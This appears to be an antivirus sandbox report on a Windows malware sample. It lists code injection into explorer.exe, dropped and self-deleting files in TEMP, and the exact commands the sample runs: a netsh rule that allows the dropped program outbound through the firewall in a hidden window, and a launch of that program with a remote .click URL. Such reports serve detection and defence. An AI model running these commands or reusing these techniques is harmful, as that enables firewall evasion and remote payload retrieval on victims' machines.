Technical Information
Malicious functions
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=ConfigStreamContainer_3860 dir=out action=allow program="%TEMP%\nsz7EA2.tmp\ConfigStreamContainer_3860.exe" enable=yes profile=public,private
Injects code into
the following system processes:
- %WINDIR%\syswow64\explorer.exe
Modifies file system
Creates the following files
- %TEMP%\nsz7ea2.tmp\nsexec.dll
- %TEMP%\nsz7ea2.tmp\basiccalculator1.exe
- %TEMP%\nsz7ea2.tmp\configstreamcontainer_3860.exe
- %TEMP%\nsz7ea2.tmp\configstreamcontainer_3860.exe.config
- %TEMP%\nsz7ea2.tmp\msedge.exe
- %TEMP%\nsz7ea2.tmp\selfdel.dll
Deletes the following files
- %TEMP%\nsz7ea2.tmp\basiccalculator1.exe
- %TEMP%\nsz7ea2.tmp\configstreamcontainer_3860.exe
- %TEMP%\nsz7ea2.tmp\configstreamcontainer_3860.exe.config
- %TEMP%\nsz7ea2.tmp\msedge.exe
- %TEMP%\nsz7ea2.tmp\nsexec.dll
- %TEMP%\nsz7ea2.tmp\selfdel.dll
Deletes itself.
Miscellaneous
Creates and executes the following
- '%TEMP%\nsz7ea2.tmp\configstreamcontainer_3860.exe' "http://www.tetanusoveremphasize.click" "%TEMP%\nsz7EA2.tmp\8007"
Executes the following
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=ConfigStreamContainer_3860 dir=out action=allow program="%TEMP%\nsz7EA2.tmp\ConfigStreamContainer_3860.exe" enable=yes profile=public,private' (with hidden window)
